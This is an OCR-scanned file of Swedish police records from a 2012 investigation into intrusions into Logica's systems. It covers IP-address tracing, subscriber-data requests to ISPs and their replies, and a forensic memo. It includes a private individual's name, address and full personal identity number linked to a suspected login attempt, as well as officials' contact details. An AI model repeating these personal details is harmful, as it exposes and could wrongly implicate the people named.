106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

3 



Polismyndighet 

Stockholms län 
Enhet 

LU Utredningsrotel 
Anmält datum 

20 1 2-03 -28 
Brottsplats 

SVERIGE-STOCKH OLM 

Brottstid 

Lördag 20 12-02-25 
Brottsbeskrivning 

Dataintrång 
l nvolverade personer 

Logi ca 

Logi ca 
I nvolverad personal 

Larsson Morgan 

Larsson Morgan 

Recksen Mårten 

Fritext grundanmälan 

Brottsan mälan 

Registreringsdatum 

20 1 2-03-29 

Anmälan om dataintrång se inkommen skrivelse från företaget Logica. 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K88 1 98- 1 2  
överförd från RAR 

20 1 2-03 -29 

Roll 

Anmälare 

Områdeskod 

9500 

Brottskod 

04 1 5  

Uppgiftslämnare 
Funktion 

Handläggare (RAR) 

Anmälningsupptagare 

FU-ledare (RAR) 

Antal 

l 

4 



A N M Ä L A N ARKIVEXEMPLAR 
2012-03-29 16.06 
0201-K88198-12 
sida: 1 

Polismyndigheten i 
Stockholms län 

Anm.upptagande p-mynd: STOCKHOLMS LÄN 
Enhet: LU/SF Myndighetskod: 0201 
Anmälningsdatum: 2012-03-28 kl: 15.15 
Upptagen av: Insp Morgan Larsson 
Inskriven av: Insp Morgan Larsson 
Inskriven: 2012-03-29 kl: 15.17 
Enhet: LU/SF 

BROTTSPLATS 

SVERIGE-STOCKHOLM, 

BROTTSTID 

Lördag 2012-02-25 

BROTT/HÄNDELSE 

Dataintrång 

SAMMANDRAG 

MÅLSÄ GANDE: 

ANMÄ LARE: 
LOGI CA 

VITTNE: 

BILAGOR: 
skrivelse 

FRITEXT 

Dnr: 0201-K88198-12 
Dnr annan p-mynd: 

Anmälningssätt: skrivelse 

Handl. p-mynd: STOCKHOLMS LÄN 

Områdeskod: 9500 

l. 40 
Brottskod Ant 

MISSTÄNKT: 

ÖVRIGT: 
Fritext 

0415 l 

Anmälan om dataintrång se inkommen skrivelse från företaget Logica. 

Förmögenhetsgrupp 
Box 
106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Besöksadress: Kungsholmsgatan 37 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

A N M Ä L A N ARKIVEXEMPLAR 
2012-03-29 16.06 

5 



Polismyndigheten i 
stockhalms län 

ANMÄ LARE JURIDISK PERSON 
LOGI CA 

Organisationsnr: 
Besöksadress: 
Anmält av: ANDERS SANDELL 
Befattning: SÄ KERHETSCHEF 
Övriga anteckningar: 

BESLUT OM FÖRUNDERSÖKNING 

Telefon: 

Telefon: 073673985 

Datum: 2012-03-29 16.05 Beslut av: Inspektör Mårten Recksen 
Förundersökning inleds 

Förmögenhetsgrupp 
Box 

Besöksadress: Kungsholmsgatan 37 

0201-K88198-12 
sida: 2 

106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

6 



Polismyndighet 

Stockholms län 
Enhet 

LU Utredningsrotel 
Anmält datum 

20 1 2-04- 1 9  
Brottsplats 

SVERIGE STOCKH OLM 

Brottstid 

Fredag 20 1 0-0 1 -29 
Brottsbeskrivning 

Dataintrång 
l nvolverade personer 

Logi ca 

Logi ca 
I nvolverad personal 

Larsson Morgan 

Larsson Morgan 

Recksen Mårten 
Fritext grundanmälan 

Brottsan mä lan  

Registreringsdatum 

20 1 2-04- 1 9  

Under utredning av K-8 1 864- 1 2  har framkommit uppgifter om dataintrång under 

20 l O i Logicas datasystem. 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K1 08422- 1 2  
överförd från RAR 

20 1 2-04- 1 9  
Områdeskod 

9500 

Brottskod 

04 1 5  
Roll 

Målsägande 

Uppgiftslämnare 
Funktion 

Handläggare (RAR) 

Anmälningsupptagare 

FU-ledare (RAR) 

Antal 

l 

7 



A N M Ä L A N ARKIVEXEMPLAR 
2012-04-19 13.18 
0201-Kl08422-12 
Sida: l 

Polismyndigheten i 
stockhalms län 

Anm.upptagande p-mynd: STOCKHOLMS LÄN 
Enhet: LU/SF Myndighetskod: 0201 
Anmälningsdatum: 2012-04-19 kl: 12.41 
Upptagen av: Insp Morgan Larsson 
Inskriven av: Insp Morgan Larsson 
Inskriven: 2012-04-19 kl: 12.41 
Enhet: LU/SF 

BROTTSPLATS 

SVERIGE STOCKHOLM, 

BROTTSTID 

Fredag 2010-01-29 

BROTT/HÄNDELSE 

Dataintrång 

SAMMANDRAG 

MÅLSÄ GANDE : 
LOGI CA 

ANMÄ LARE: 

VITTNE: 

BILAGOR: 

FRITEXT 

Dnr: 0201-Kl08422-12 
Dnr annan p-mynd: 

Anmälningssätt: Polisman i tjänst 

Handl. p-mynd: STOCKHOLMS LÄN 

Områdeskod: 9500 

1.40 
Brottskod Ant 

0415 l 

MISSTÄNKT: 

ÖVRIGT: 
Fritext 

Under utredning av K-81864-12 har framkommit uppgifter om dataintrång under 
2010 i Logicas datasystem. 

Förmögenhetsgrupp 
Box 
106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Besöksadress: Kungsholmsgatan 37 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

A N M Ä L A N ARKIVEXEMPLAR 
2012-04-19 13.18 

8 



Polismyndigheten i 
stockhalms län 

MÅLSÄ GANDE JURIDISK PERSON 
LOGI CA 

Telefon: 
Organisationsnr: 
Besöksadress: 
Försäkringsbolag: 
Övriga anteckningar: 

BESLUT OM FÖRUNDERsÖKNING 

0201-K108422-12 
Sida: 2 

Datum: 2012-04-19 13.16 Beslut av: Krkom Mårten Recksen 
Förundersökning inleds 

Förmögenhetsgrupp 
Box 
106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Besöksadress: Kungsholmsgatan 37 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

9 



Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
U ppgiftslämnare 

Wahlström, Olle 
Beslag verkstäl lt Material för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

Olle Wahlström 

Uppgiften avser 

PM 
Spårn i n g  av i p-ad ress 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  

Datum Tid 

20 1 2-03-27 1 2 :26 

Mottaget datum Tid 

1 0  

Kontroll av lP-adressen 1 94.23 . 6 1 . 1 5 1  som enligt rapporten från Logica försökt logga in på SYS3 den 

lO mars 20 12 .  
Uppg ift 

I logicas rapport framgår på sidan 1 7  att det från ip-adressen 1 94.23 . 6 1 . 1 5 1  den l O mars 
20 1 2  gjorts försök att logga in mot SYS3 . En kontroll av ip-adressen gav att den tillhörde 
L.A. Communications AB i Nacka. 

Den 27 mars kontaktades L.A. Communications, Lars Aronsson, per telefon. Aronsson 
berättade att företaget tillhandahåller bredband och tv via kabel-tv nätet. Företaget använder 
sig av DHCP men de olika användarna tilldelas alltid samma ip-adress .  

Enligt Aronsson gick ip-adressen 1 94.23 .6 1 . 1 5 1  den lO mars till en Mikael Backe på 
skogsrundan l i Ludvika. Något personnummer fanns ej angivet. Aronsson berättade vidare 
att Backe sagt upp sitt abonnemang i februari och begärt att få det urkopplat den l april 20 12 .  

Enligt PP A finns en Mikael Backe med personnummer 630507-90 1 1  på  den aktuella 
adressen. 



Logg från mikael backes cabel modem , 20 1 3-03- 1 9  1 2 :26 d iarienr: 020 1 -K8 1 864- 1 2 

Tx Power 102 dByV 
Rx Power 59.5 dByV 
SignaiNoise 39 dB 
Unerrored 3734084735 cw:s 
Corrected o cws ( 0.0000 %) 
Uncorrectable o cws ( 0.0000 %) 
Config file "25.cm" 

Cm Mae 00:23:be:7c:40:d6 

Cm Ip 172.17.0.151 

CPE status up( l) 
Eth Dx Mode fui1Duplex(3) 
cm Uptime 46 days, 19:57:03.00 

Cm Sw-Re l "v2.0. 2r1256-070426" 

Cm Hw-re l S-AWebSTAR 
Cm S:nr "228811403" 

50.16.122.17 66.220.158.61 76.72.162.162 

76.72.162.163 107.20.75.239 130.244.127.161 130.244.127.169 173.194.32.0 173.194.32.3 
173.194.32.6 173.194.32.7 173.194.32.8 

173.194.32.14 173.194.32.38 173.194.32.46 
173.194.69.188 173.194.71.99 173.194.71.104 

Cpe IP 173.194.71.105 173.194.71.147 174.129.185.112 184.73.42.35 184.73.128.215 

192.168.1.1 192.168.1.100 192.168.1.102 192.168.1.103 192.168.1.104 192.168.1.105 

192.168.1.106 194.23.61.151195.124.8.13 

199. 187.124.186 205.251.219.118 

208.117.226.23 209.85.173.105 

Cpe MAC 54:E6:FC:BE:S0:9B 

Cm status "RS.O" Code 
Cm status operation al 
Cm State Docsis 1.1 (tdma) 
UDP 445 dest 7 st 
TCP 445 dest 84 st 

·?�· Ping (roundtrip delay) 
,-, Reset 

. . -· · ·--····-·------------·-······· Modem 17217.0.151 

[oom J 

http://194.23.63.221/cgi-bin/cmipscr.pl?l72.17 .0.151 

1 1  

,O c; c-k L /t /f_.ci �-� 
.S ��-Yl--L--L-<!_ d a..._e -f 

�d-"1/"'>·'(c_ 'l 

2012·03-27 



Begäran om abonnentuppg ifter för 1 78 . 1 7  4 . 1 72 . 1 57 , 201 3-03-25 1 2 :29 d iarienr: 020 1 -K8 1 864-1 2 

• ��!��eten i 

Mottagare 

Stockholms län 
Länskriminalpolisen !T-forensiska sektionen 
Faxnummer 010-56 354 83 

E-postadress 

jan-olof. wahlstrom@polisen.se 

Tyfon Svenska AB, att. Mats 

(Brottet rör inte fildelning.) 

Faxmeddelande 

Diarienummer 
0201-K81864-12 

Fråga: Vem hade ip-adressen 178.174.172.157 den 4 mars 2012 klockan 19.15- 19.25 

Kriminalinspektör Olof Wahlström 
telefon: 010-56 366 33, 073-331 51 63 
Fax: 010-56 354 83 

2012-04-03 
(Datum) 
Stockholm 
(Ort) 

(Underskrift) 

Olof Wahlström 
(Namnförtydligande) 

12 



Begäran om abonnentuppgifter för 1 78 . 1 74 . 1 72 . 1 57 , 201 3-03-25 1 2 :29 d iarienr :  020 1 -K8 1 864- 1 2 

SID 

TRAN:S:MI:S::S:ION REPORT 

LUt'IT STOCKHOLH liuf!lber 8185635483 

Date/Time 

Dialled nuf!lber 
Subseriber 

Durat. 

Mode 
Pages 
status 

• �?s�!��eten i 

"""� .. �� 

Stockholms län 
Lanskrirnir1alpoliwll 
IT -forens;ska 1iek.tionel'l 

i:•>:I:.�·C'l· 
jan Cllo)fwalll�twm·'!. J'OII::.t"ll-:>l' 

l) f011 Sn·nska Al3. <ttt. ��ats 
M..J,J�:,on.J� 

3-84 15:14 
8ElEl8558128El2 

-t-46855812882 

8'25" 

HORMAL 
1 

Correct 

Faxmeddelande 

U�OI-K8\St'.l-12 

Er .• 1.6k"p.V§ )p Lo1y (lOOJ:JS9) oni eleUiOntsk :0Communrkat1on begu nyn(f•Qhl!ten·uu�itln.e:u\de dV 
uppgift som övse5r 6kap 20§ l if lp Lag (2003: 389) om elektrO'-iSk kommunikation (uppgift om 
ilbonncmcJJUJ). 
(arottt:t ror lf'lte f•ld(!lrunQ.) 
Fråga: Vern hade lp-adressen 178.174.172.157 den 4 mars 2012 klock2n 19.15- 19.25 

Krlrnlnallnspektor Olof WahlstrOm 
tclcron: 010-SG 36& :n, 07.3 .111 51 6J 
1--�t:x: 010-5(, 1'";4 81 

Date 

1 3  

El3-El4-12 15:15 



Övrigt Svar l P-spårn ing 1 78. 1 74. 1 72. 1 57, 201 3-03-25 1 2 :20 d iarienr :  020 1 -K8 1 864-1 2 

Från: 
Till: 
Datum: 
Ärende: 

Hej ,  

Mats Bergsman <mb@tyfon.net> 
<jan-olof. wahlstrom@pol isen .se> 
201 2-04- 1 2  1 5 :23 
D iarienummer 020 1 -K8 1 864- 1 2 

l P-ad ressen 1 78.1 74.1 72.1 57 i ngår i ett nätblock som används 
av kunder kopplade via Quadracom.  
Kunderna ä r  spridda över he la  landet i o l i ka stadsnät och  vi sköter i nte 
I P-ad ressti l lde ln ingen u tan det gör Quadracom .  
Därför kan vi i nte hjä lpa t i l l  med  att få fram i nformation om vem som 
haft en 
v iss ad ress vid en v iss t idpunkt .  

Vi har  t i l lgång ti l l  ett verktyg i vi l ket vi kan se v i l l ken l P-adress en 
kund har 
just nu,  men det fin ns ingen logg . 

Med vän l ig hä lsn ing 
Tyfon Svenska AB 
/Mats Bergsman 

Te l :  08-550 1 20 2 1  
Fax: 08-550 1 20 02 



Övrigt Förfrågan l P-spårn ing 1 78 . 1 74 . 1 80 . 1 44 , 20 1 3-03-25 1 2 :28 d iar ienr:  020 1 -K8 1 864-1 2 

Olle Wahlström - Spårning av ip-adress 

Från: 

Till: 

Datum: 

Olle Wahlström 

support@quadracom.se 

2012-03-31 13:17 

Ärende: Spårning av ip-adress 

Hej! 

Enl 6kap 22§ 2p Lag (2003:389) om elektronisk kommunikation begär myndigheten utlämnande av uppgift 
som avses i 6kap 20§ 1st lp Lag (2003:389) om elektronisk kommunikation (uppgift om abonnemang). 

Fråga: Vem hade ip-adressen 178.174.180.144 den 4 mars 2012 klockan 07.09-10.42? 

Ärendenummer hos polisen: 0201-K81864-12 

Olle Wahlström 
Länskriminalpolisen 
!T-forensiska sektionen LU /IT 010-563 66 33 073-331 51 63 
j an -o l of. wahlstrom@polisen. se 

fil e :/ /C :\ WINDOWS\ Temp\XPgrpwise\4F7703F3DOM22po25 1  00 1 783072 1 9D5 1 \G. . .  20 1 3 -03-25 

1 5  



Övrigt Svar l P-spårn ing 1 78 . 1 74 . 1 80 . 1 44 , 20 1 3-03-25 1 2 : 3 1  d iarienr: 020 1 -K8 1 864- 1 2 

Från: 
Till: 
Datum: 

Quadracom Support <support@quadracom .se> 
Ol le Wah lström<jan-olof. wah lstro m@pol isen . se> 
201 2-04-03 1 1 :22 

Ärende: Re: Spårn ing av i p-adress 
Bifogade filer: tyfon . txt 

Hej Ol le ,  

l detta fa l l  är det Tyfon i ro l len som tjänsteleverantör som äger 
l P-ad ressen 1 78 . 1 74 . 1 80 . 1 44 ,  och som ska l l  hantera loggarna på v i l ke n  
s lutanvändare som använt l P-adressen vid d e n  aktuel la t idpu nkten .  
Bifogar även en  textfi l med utdrag från R IPE:s  databas över det a ktuel la 
l P-nätet , där  ägandeskapsinformation och kontaktuppg ifter står angivna.  

Mvh , 
Ti m Gambrant 
NOC 

Quadracom Networks AB l Storgatan 38 ,  903 26 U meå l 01 O - 1 9  59 1 90 

O l le Wah lström skrev 20 1 2-03-3 1 1 3 : 1 7 : 
> Hej! 
> En l  6kap 22§ 2p Lag (2003 : 389) om elektronisk kommun ikation begär 
> mynd igheten utlämnande av u ppgift som avses i 6kap 20§ 1 st 1 p Lag 
> (2003 :389) om elektron isk kommun ikation (uppg ift om abonnemang) .  
> Fråga :  Vem h ade ip-adressen 1 78 . 1 74 . 1 80 . 1 44 den 4 mars 20 1 2  klockan 
> 07 .09-1 0 .42? 
> Ärendenummer hos pol isen :  020 1 -K8 1 864- 1 2  
> Ol le  Wahlström 
> Länskrim ina lpol isen 
> !T-forensiska sekt ionen LU/IT 
> 0 1  0-56*3 66 33* 
> 073-331  51 63 
> jan-olof.wahlstrom@pol isen . se <mai lto:jan-olof.wah lstrom@pol ise n .se> 



Övrigt Svar l P-spårn ing 1 78 . 1 74 . 1 80 . 1 44 ,  b i laga,  201 3-03-25 1 2 :33 d iar ienr: 020 1 -K8 1 864- 1 2 

% This is the RIPE Database query service. 
% The objects are in RPSL format. 
% 
%The RIPE Database is subject to Terms and Conditions. 
% See http://www.ripe.net/db/support/db-terms-conditions.pdf 

% Note: this output has been filtered. 
% To receive output for a database update, use the "-B" flag. 

%Information related to '178.174.128.0- 178.174.255.255' 

inetnum: 178.174.128.0- 178.174.255.255 
netname: SE-TYFON-20100428 
descr: Tyfon 
country: SE 
org: ORG-TA47-RIPE 
admin-c: TNOC1-RIPE 
tech-c: TNOC1-RIPE 
status: ALLDCATED PA 
mnt-by: RIPE-NCC-HM-MNT 
mnt-lower: TYFON-NOG 
mnt-routes: TYFON-NOG 
mnt-domains: TYFON-NOG 
source: RIPE # Filtered 

organisation: ORG-TA47-RIPE 
org-name: Tyfon 
org-type: LIR 
address: Tyfon Svenska AB 

Box 9082 
15109 Sodertalje 
Sweden 

phone: +46 855012021 
fax-no: +46 855012002 
abuse-mailbox: abuse@tyfon.net 
admin-c: DAN-RIPE 
admin-c: MN2473-RIPE 
admin-c: MATS-RIPE 
admin-c: TNOC1-RIPE 
mnt-ref: TYFON-NOG 
mnt-ref: RIPE-NCC-HM-MNT 
mnt-by: RIPE-NCC-HM-MNT 
source: RIPE # Filtered 

role: TYFON NOC 
address: Tyfon Svenska AB 
address: Box 320 
address: SE 151 24 Sodertalje 
address: SWEDEN 
phone: +46 8 550 120 21 
fax-no: +46 8 550 120 02 
abuse-mailbox: abuse@tyfon.net 
remarks: +------------------------------------+ 
remarks: 1 for abuse related incidents please 1 
remarks: l use abuse@tyfon.net l 
remarks: +------------------------------------+ 
admin-c: DAN-RIPE 
admin-c: MATS-RIPE 
admin-c: MN2473-RIPE 
tech-c: DAN-RIPE 

n a ge 

! 
i 
l 

l 
': 

! 

! 



Övrigt Svar l P-spårn ing 1 78 . 1 74 . 1 80 . 1 44 ,  b i laga , 201 3-03-25 1 2 :33 d iarienr:  020 1 -K8 1 864- 1 2 

tech-c: 
te ch-c: 
tech-c: 
nie-hd l: 
re marks: 
mnt-by: 
source: 

MATS-RIPE 
MN2473-RIPE 
PATO-RIPE 
TNOG1-RIPE 

PGP key: PGPKEY-5EF6A839 
TYFON-NOG 
RIPE # Filtered 

%Information related to '178.174.128.0/17AS21250' 

route: 
descr: 
orig in: 
mnt-by: 
source: 

178.174.128.0/17 
Tyfon Svenska AB 

AS21250 
TYFON-NOG 
RIPE # Filtered 



Polismyndigheten i 
Stockholms län 
Länskriminalpolisen !T-forensiska sektionen 
Faxnummer 

010-56 354 83 

E-postadress 

jan-olof. wahlstrom@polisen.se 

Mottagare 

Bahnhof 

Meddelande 

Begäran om sparning av ip-adress 

(Brottet rör inte fildelning.) 

2012-04-03 

(Datum) 

Stockholm 
(Ort) 

(Underskrift) 

OlofWahlström 
(Namnförtydligande) 

Diarienummer 

0201-K81864-12 



Begäran om abonnentuppg ifter för 46 .59 . 1 9 . 1 1 4 , 20 1 3-03- 1 8 1 5 :5 1  d iar ienr: 0201 -K8 1 864- 1 2 

Begäran av abonnentuppgifter 

Begärande part intygar genom underskrift av detta dokument att 

begäran görs åberopande nedan lag(ar), paragraf( er) & punkt( er): 

(Detta fält måste vara ifyllt för att begäran ska anses giltig.) 

(Ex. EkomL (2003:389), §22, 3.) 

Lag:(zoo3 : 3S"\) ol"'' .ahk.J.roni�'k kornn,'"'� k�·\\of\. 
Paragraf: 6 k Q. r -z. z § 
Punkt: z_ 

l P-Adresser: __ 1.--=-1 -=-b .:......::· 5�q...!....!,_. \;._'\,!_ .=--t:....:..\ -�.4 ___________ _ 

Dat u m: '2. o \ z. - o 3 - z. 1 

Tidpunkter: 03 .l-f s- - ö 4. o o 

Diarienummer (K-nr): o-z. o\·- K B l g .b 'i- l Z.. (t", .(;\el c.\ n 1 f\ J) 
Kontaktperson: ö\ o.{' W""\���(; n 

Detta dokument skall efter ifyllande av ovan uppgifter faxas till 

Bahnhof på telefonnummer 08-55577199. Vi välkomnar även att ni 

kontaktar oss på 08-55577155 för att bekräfta att faxet mottagits 

korrekt. Dokumentet kräver att giltigt försättsblad från aktuell 

myndighet bifogas. 

�� Underskrift samt ev. stämpel: _____________ _ 

20 



Begäran om abonnentuppg ifter för 46.59 . 1 9 . 1 1 4  , 201 3-03- 1 8 1 5 :5 1  d iarienr: 020 1 -K8 1 864-1 2 

SID 

� TRANSMISSION REPORT � 

LU/IT STOCKHOLM 

Date/Time 
D ialled nu M ber 
Durat. 
Mode 

Pages 
status 

• �?s�;:�&ten i 

!.te,._,�, P 
B:J.hnh!ll 
M•·,�· .)J-t�(> 

Stockholms län 
Lånsknm•nalpolisen 
n �torcns.slc.a sekttonen 
fJ\0-16 i.l-18) 

E po;�&,.U\ jan-olof.wahl�trom·ä•polisen st 

llie9�r�n Otn s·parn.nsi it\i •P :adn�Ss 
(Broltcl rör inte fildclr,iri!J·) 

' 
' 

l ___ __ _____________ _ 

Humber 8185635483 Date 

3-64 15:19 
888855577199 
8'44" 

NORHAL 

2 
Correct 

Faxmeddelande 

Oc01-K818�-1 11 

2 1  

83-84-12 15:28 



Mottagare 

Bahnhof 

Meddelande 

Polisen 
Pol is myndigheten i 
Stockholms Län 
Länskriminalpolisen 
!T-forensiska sektionen 
Faxnummer 

o l 0-56 354 83 

E-postadress 

jan-olof.wahlstrom@polisen.se 

Begäran om spåming av ip-adress 

;::: 
"-' 6 2012-03-26 
o " (Datum) 

� Stockholm .,. � (Ort) 
er 

22 

Diarienummer 

0201-K81864-12 

(Underskrift) 

Olof Wahlström 
(Namnförtydligande) 



Begäran svar om abonnentuppg ifter för 46.59.5 1 . 1 8 1 , 20 1 3-03- 1 8 1 5 :53 d iarienr :  020 1 -K8 1 864-1 2 

B� .. � � - � .AP � 
BAHNHOF 

Begäran av abonnentuppgifter 

Begärande part intygar genom underskrift av detta dokument att 

begäran görs åberopande nedan lag(ar), paragraf( er) & punkt( er): 
(Detta fält måste vara ifyllt för att begäran ska anses giltig.) 

(Ex. EkomL (2003:389), §22, 3.) 

Lag: ( 't003 :3 8<i) O P'\ � \<..k-lron\ � \(. kofi\P\111'\; k� �;o� 
Paragraf: 6 k4p z l. j 
Punkt: -z. 

lP-Adresser: 4�. s-q . .s-t . , B' 

Datum: zot'l..- o3. ot.t 

Tidpunkter: _c_o_. z._.s_-+-....!....f =Z ..:....: . .s-::........::...8 ____________ _ 

Diarienummer (K-nr): o z. o 1 - K g 1 6 6Y - rz. 

Detta dokument skall efter ifyllande av ovan uppgifter taxas till 

Bahnhof på telefonnummer 08-55577199. Vi välkomnar även att ni 

kontaktar oss på 08-55577155 för att bekräfta att faxet mottagits 

korrekt. Dokumentet kräver att giltigt försättsblad från aktuell 

myndighet bifogas. 

Underskrift samt ev. stämpel: __.�""----�-�----------

23 



Begäran  svar om abonnentuppg ifter för 46.59 .5 1 . 1 8 1  , 20 1 3-03- 1 8 1 5 :53 d iarienr :  020 1 -K8 1 864-1 2 

S I D 

� T R A N S M I S S I O N R E P O R T � 

LU/ I T S TOCJ<HOU1 

Date/ T i Me 
D i a  l l e d  nuMber 
Durat . 
Mode 
Pages 

status 

·���.��'" ' Stockho lms Län 

"'"""'"" ' C  
Jbl • llhul" 

�'-��;---�·· 

l ttnskriminalporlscn 
1 1 -lorcmm;ka sckl11:>ncn 
UJQ ;� ,15-I S,; 

E-t>:>it .. �·�u 
l.ln -t'"!l.\f \\.3h1.� !r�..,rn (�':polist•n >� 

[ tic�liiiin em ->V;'tmi•t:: <n i:P a,lr�·�s 

l 
' 

Numher 8 105635483 Date 

26-83 15 : 19 
000855577 199 
0 ' 44 " 

HORMAL 
2 
Correct 

Faxmeddelande 

' %�-- ··· -··-. . -� .. ollrv�l'l••r1, 
Olof Wahl�tJönt 
......... ,��'t, :�� ·�;;;;---- ·- ---

24 

26-133- 12 15 : 19 



Begäran svar om abonnentuppgifter för 46 .59.5 1 . 1 8 1 , 20 1 3-03- 1 8 1 5 :53 d iar ienr: 020 1 -K8 1 864- 1 2 

Från :  
Til l :  
Datum :  
Ärende: 

Hej ,  

Bahnhof företag v i psu pport<vipsu pport@ bah n hof. se> 
<jan-olof.wa h lstrom@polisen . se> 2012-03-26 1 6 :47 
Bekräftelse att vi  fått in d i tt fax 

Vi h a r  fått i n  en begäran om utdrag om abon nentu ppgifter och ärendet är 
lämnat ti l l  vår abuseavdelning.  De återkommer inom kort med bes ked . 

Med Vänl ig Hälsn ing 
Fredri k Dah l g ren 
B a h n hof AB VI P-Support 

25 



Begäran svar om abonnentuppg ifter för 46.59.5 1 . 1 8 1 , 20 1 3-03- 1 8 1 5 :53 d iarienr: 020 1 -K8 1 864- 1 2 

Frå n :  Ti l l :  
Datum: 
Ärende : 

Hej ,  

Bah nhof Abuse Team <abuse@ba h n h of.se> 
<jan-olof. w ah lstrom@pol ise n .  se> 
20 1 2-04-04 1 0 :24 
Svar på begäran av abon nentu ppg ifter REF: 020 1 -K8 1 864-1 2 

Er begäran av abon nentu ppgifter har behand lats , tag del  av nedanstående 
i n formatio n .  

l P-adress: 46.59 .51 . 1 8 1 
Datum/Tidpu n kt:  20 1 2-03-04 kl 1 0:25 & kl 1 2 : 58 

I n n ehavare:  
Tyvärr fin n s  i nte i n formationen kvar. 

Med Vän l iga Hälsningar 
Bah n hof Abuse Team 
abuse@bahn h of. n et  



Tjänsteanteckn ing  
Signerad av 

Abonnentu ppg ifter från Bahn hof och Tyfon Signerad datum 

Pol ismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
U ppgiftslämnare 

Persson, Joakim 
Beslag verkställt 

Nej 
l n träffat på 

Adress 

Platsbeskrivn ing 

Mottaget 

Sätt på vi lket uppgift lämnats 

U pprättad av 

Joakim Persson 

U ppgiften avser 

Material för analys 

Nej 

Abonnentuppgifter från Bahnhof och Tyfon 
U ppgift 

Diarienr 

020 1 -K8 1 864- 1 2  

Datum Tid 

20 1 2-04- 1 2  1 5 :27 

I nträffat mellan 

20 12-03 -26 
och 

20 1 2-04- 1 3  

Mottaget datum Tid 

Den 26 :e  mars begär Olle Wahlström abonnentuppgifter för lP-adresserna 46.59 .5 1 . 1 8 1  och 
1 78 . 1 74. 1 80 . 1 44 som tillhör internetleverantörerna Bahnhof respektive Tyfon. Tiderna som 
avses i begäran är den 4 :e  mars, mellan klockan 1 0 :25 och 12 : 5 8  för Bahnhof och den 4 :e  
mars, mellan klockan 07 :09 och 1 0 :42 för Tyfon. 

Tyfon skickar den 30 :e  mars svaret att de inte kan se vem som hade lP-adressen 
1 78 . 1 74 . 1 80. 1 44 utan hänvisar till deras underleverantör Quadracom. Quadracom menar att 
det är Tyfon som skall hantera loggama med vilken slutanvändare som använt lP-adressen 
vid den aktuella tidpunkten. 

Den 3 : e  april skickar Olle Wahlström ytterliggare en begäran om abonnentuppgifter till 
Bahnhof och Tyfon. Denna gång gällande lP-adresserna 46 .59 . 1 7 . 1 14 respektive 
1 78 . 1 74. 1 72 . 1 57 .  Tiderna som avses i begäran är den 2 l :a mars, mellan klockan 03 :45 och 
04 :00 för Bahnhof och den 4 :e  mars, mellan klockan 1 9 : 1 5  och 1 9 :25 för Tyfon. 

Svaret på begäran som skickats till Bahnhof gällande lP-adressen 46 .59 .5 1 . 1 8 1  anländer via 
e-post den 4 :e  april klockan 1 0 :24 och lyder att "tyvärr finns inte informationen kvar" . 

Den l O april upptäcker utredningen att Bahnhofs lP-adress 46.59 .5 1 . 1 8 1  även har använts 
fem dagar senare, den l O mars. Undertecknad ringer då till Bahnhofs a buse team för att höra 
om loggfiler från denna tidpunkt finns lagrade och generellt hur lång tid de lagrar loggfiler. 

Bahnhofs abuse team säger sig inte ha någon kunskap om hur länge loggfiler lagras eller om 
de efterfrågade uppgifterna finns lagrade. De hänvisar istället till Åke Nilsson som är chef för 
Quadracoms kundcenter. 

27 



Abonnentuppg ifter från Bah nhof och Tyfon ,  Tjänsteanteckn ing ,  201 2-04- 1 2  1 5 :27 d iarienr: 020 1 -K8 1 864- 1 2  

Åke Nilsson säger sig inte heller ha kunskap om detta utan hänvisar vidare till Olle Risberg 
som är teknisk chef för Quadracom. 

Vid samtal med Olle Risberg den l O :e  april framkommer att loggama lagras i minst tre 
veckor och att det i detta fall finns information lagrad. Han tillägger vidare att detta är 
information som Bahnhof mycket väl kan hämta ut själva genom den kontrollpanel som 
Quadracom tillhandahåller. 

På eftermiddagen den l O april får undertecknad e-post från Olle Risberg innehållande de 
abonnentuppgifter som begärts från Bahnhof gällande lP-adressen 46 .59 . 5 1 . 1 8 1 .  

Den 1 1  april tar undertecknad en ny kontakt med Olle Risberg angående framförallt det svar 
som skickades per e-post men även hur vida det går att hitta information om lP-adressen 
1 78 . 1 74. 1 80. 144 där abonnentuppgifter begärdes från Tyfon redan den 26 :e  mars . Även i 
denna del säger Olle att det finns uppgifter lagrade och att även Tyfon har möjlighet att hämta 
ut uppgifterna genom den kontrollpanel som Quadracom tillhandahåller. 

Den 1 2  april skickar undertecknad e-post till Olle Risberg och frågar om samtliga fyra 
lP-adresser som har kunnat härledas till Bahnhof och Tyfon. 

Den 1 3  april tas en ny kontakt med Olle Risberg och han berättar då att han varit i kontakt 
med Bahnhof och att han då blivit utskälld och att "Quadracom ska ge fan i att lämna ut 
uppgifter om Bahnhofs kunder" .  Han var därför avvaktande och önskade därför att vi i första 
hand kontaktade Bahnhof och Tyfon, han kunde dock bekräfta att det fanns 
abonnentuppgifter för samtliga lP-adresser. 

I samråd med åklagare Henrik Rasmusson beslutades därför att i första han begära ut 
abonnentuppgifter från Quadracom med stöd enligt 6kap 22§ 2p Lag (2003 :3 89) om 
elektronisk kommunikation. I andra hand göra husrannsakan hos Quadracom för att få ut 
abonnentupp gifterna. 

Joakim Persson 
IT-forensiker, 20 1 2-04-30 
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Begäran  om abonnentuppg ifter från Quadracom , 20 1 3-03- 1 8  1 5 :56 d iar ienr:  020 1 -K8 1 864- 1 2 

Polismyndigheten 
81 i stockholms län BEGÄRAN 

Postadress 

Länskri m i n a l po l isavdel n i ngen 
IT-forensiska sektionen 
Joakim Persson 
IT-forensiker 

Begäran av abonnentuppgifter 

Datum Diarienr (åberopas vid korresp) 

20 12-04- 1 3  020 1 -K8 1 864- 1 2  

